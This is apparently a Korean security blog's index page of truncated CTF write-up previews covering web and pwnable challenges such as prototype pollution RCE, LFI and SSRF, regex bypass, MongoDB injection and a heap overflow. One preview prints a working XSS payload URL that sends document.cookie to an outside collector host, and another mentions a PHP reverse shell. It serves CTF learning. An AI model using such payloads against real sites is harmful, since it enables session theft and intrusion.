CTF
DiceCTF 2022 writeup
DiceCTF 2022 writeup
2022.07.250. Intro TeamH4C에 가입하여 처음으로 참가한 CTF 대회 입니다. 저는 웹만 풀었는데,, 다른 분들이 웹 외의 분야도 많이 풀어서 19등으로 마무리 되었네요. 웹 문제는 쉬운 문제를 제외하고, 풀이를 작성하려고 합니다. 1. web / point 이 문제는 golang 으로 작성된 web 문제 입니다. go 언어에 대해 지식이 없지만, 이번 기회를 통해 풀어보려고 했습니다. POST 방식으로 전송하면, body에 특정 문자열이 있는지를 검증하고 있습니다. 아래 코드에서는 2번째 if 문에서 `what_point` 와 `\` 를 필터링 하고 있네요. 이후, `json.Unmarshal()` 함수를 통해 body 값을 json parsing 하고 있습니다. json paring 결과는 `what..
[WACon 2022] yet_another_baby_web
[WACon 2022] yet_another_baby_web
2022.06.28🚪 Intro 웹 2번째 문제 입니다. 이 문제 역시 poc 코드와 힌트를 보고 정보를 찾은 뒤 풀게 되었는데요. 이 문제를 풀기 위해서는 `session upload progress` 에 대해 알고 있어야 합니다. 💡 Analysis - 코드 분석 POST 방식으로 url 데이터를 넘기면 curl 명령어를 실행합니다. 이때 url 값은 여러번의 필터링을 거치게 되죠. curl 실행 후 출력 값에는 본인의 UUID 값이 포함되어 있어야 출력 값을 볼 수 있습니다.
[WACon 2022] ppower write up
[WACon 2022] ppower write up
2022.06.28🚪 Intro 웹 3번째 문제 ppower 입니다. 이 문제는 `prototype pollution` 을 통한 RCE를 하는 문제입니다. 💡 Analysis - 코드 분석 /answer 페이지로 GET 방식의 데이터를 전달할 수 있습니다. 이는 `req.query` 에 저장되여 `merge()` 함수를 통해 `r` 변수에 저장되는데, `merge()` 함수는 어떠한 검증없이 merge 하고 있습니다. 전형적인 prototype pollution 공격에 취약한 코드 입니다. 또한, 53번째 줄에서 `config.flagForEveryone` 값이 무조건 false가 아니어야 합니다. 그래야 `sendFlag()` 함수가 실행되죠. `sendFlag()` 함수를 보면, 25번째 줄에서 `childProces..
[WACon 2022] Kuncɛlan write up
[WACon 2022] Kuncɛlan write up
2022.06.27🚪 Intro 20명이나 푼 웹 첫번째 문제 입니다. 물론 풀다가 포기하고, 대회 끝난 이후 힌트와 친구의 도움으로 해결했습니다. 해당 문제를 풀기 위한 Keyword는 다음과 같습니다. `LFI` `hash length extension attack` `SSRF` `SQLI` 💡 Analysis - 화면 흐름 문제 사이트에 접속하면 로그인 페이지로 이동 됩니다. 로그인 후 "fun" 이라는 페이지로 이동하면 아래 사진처럼 SSRF 느낌이 나는 페이지가 출력됩니다. input 태그에 값을 입력하면, 해당 기능은 로컬에서만 동작하는 것을 알 수 있습니다. 코드가 없는 상태에서 우회하기에는 힘들기 때문에, 다른 방법을 찾아야 합니다. 💡 Exploit - LFI 위 페이지에는 LFI 취약점이 존재합니다. f..
zer0pts ctf 2022 GitFile Explorer write up
zer0pts ctf 2022 GitFile Explorer write up
2022.03.27GitFile Explorer (web) 이번 문제는 `preg_match()` 함수를 우회하여 `file_get_contents()` 함수로 flag를 획득하는 문제이다. 34번째 줄에 `preg_match()` 함수 안에 정규 표현식을 보면, github|gitlab|gitbucket 문자열은 어디에나 존재하면 된다. 즉, `http://askldjfklasd.github.com` 이런 것이 가능하다. 또한, `m` 이라는 옵션이 붙었는데, 이에 대한 설명은 다음과 같다. 즉, 다음과 같이 개행을 포함하여 전송하게 되면 `m` 옵션으로 인해 http 라는 문자열이 2번째 줄에서 시작하여 `preg_match()` 함수의 정규 표현식을 우회할 수 있게 된다. 단, 아래 결과를 보면 `No such fi..
hayyim CTF 2022 writeup
hayyim CTF 2022 writeup
2022.02.13Cyberchef (web) XSS를 통한 Cookie 탈취 문제이다. cyberchef 는 github에 opensource로 공개되어 있는데, issue 에서 XSS payload를 얻을 수 있었다. https://github.com/gchq/CyberChef/issues/1265 http://1.230.253.91:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3D%60https://enej1x0to8q6ktu.m.pipedream.net/?cookie%3D$%7Bdocument.cookie%7D`%3C/script%3E',100,false)&input=MTAwLCAxMDA..
HTML Viewer writeup
HTML Viewer writeup
2022.02.04이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
[UMass 2021 CTF] write up
[UMass 2021 CTF] write up
2021.03.29[WEB - "Hermit - Part 1"] 위 문제 링크에 접속하면 이미지를 업로드 하는 페이지가 나온다. 아래 사진 처럼 이미지를 업로드 하면 png의 hex값과 함께 이미지가 출력된다. 업로드할 이미지 맨 마지막에 간단한 php 코드를 작성한뒤 업로드 하면 php 코드가 동작하는 것을 볼 수 있다. 이를 이용하여 reverse shell 공격을 시도 했다. payload는 다음과 같다.
[DamCTF 2020] write up
[DamCTF 2020] write up
2020.10.12WEB / finger-warmup 문제 사이트에 접속하면 아래 사진 처럼 클릭하는 링크가 나온다. 클릭하면 똑같은 페이지 이지만, 주소 뒤에 랜덤한 값이 따라 붙는다. 문제 힌트에 `requests` 모듈과 `beautifulsoup` 모듈을 사용하라고 되어 있어, `a` 태그를 크롤링해 계속 클릭하면 flag를 획득 할 수 있을 거라고 생각했다. import requests import bs4 import time url = "https://finger-warmup.chals.damctf.xyz/" s = requests.session() res = s.get(url) while True: html = bs4.BeautifulSoup(res.text, "html.parser") href = html...
[b01lers 2020 CTF] write up
[b01lers 2020 CTF] write up
2020.10.07There is no Spoon keyword: `Heap overflow` #include #include #include #include char * xor(char * src, char * dest, int len) { for(int i = 0; i < len - 1; i++) { dest[i] = src[i] ^ dest[i]; } dest[len-1] = 0; return dest; } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); char buffer[256]; int len = 256; printf("Neo, enter your matrix: "); len = read(0, buffer, len); char * buffer..
[DreamhackCTF 2020] validator write up
[DreamhackCTF 2020] validator write up
2020.09.29pwnable 분야의 validator 문제이다. 해당 문제는 바이너리만 주워줬고, 바이너리 파일을 c 나타내면 다음과 같다. void validate(void *input_data, int arg2){ for (int i = 0; i
[DreamhackCTF 2020] Mango write up
[DreamhackCTF 2020] Mango write up
2020.09.29web 분야의 Mango 문제이다. 해당 문제는 코드가 주워줬고, `mongodb injection` 으로 admin 의 pw를 알아내는 문제이다. const express = require('express'); const app = express(); const mongoose = require('mongoose'); mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true }); const db = mongoose.connection; // flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} const BAN = ['admin', '..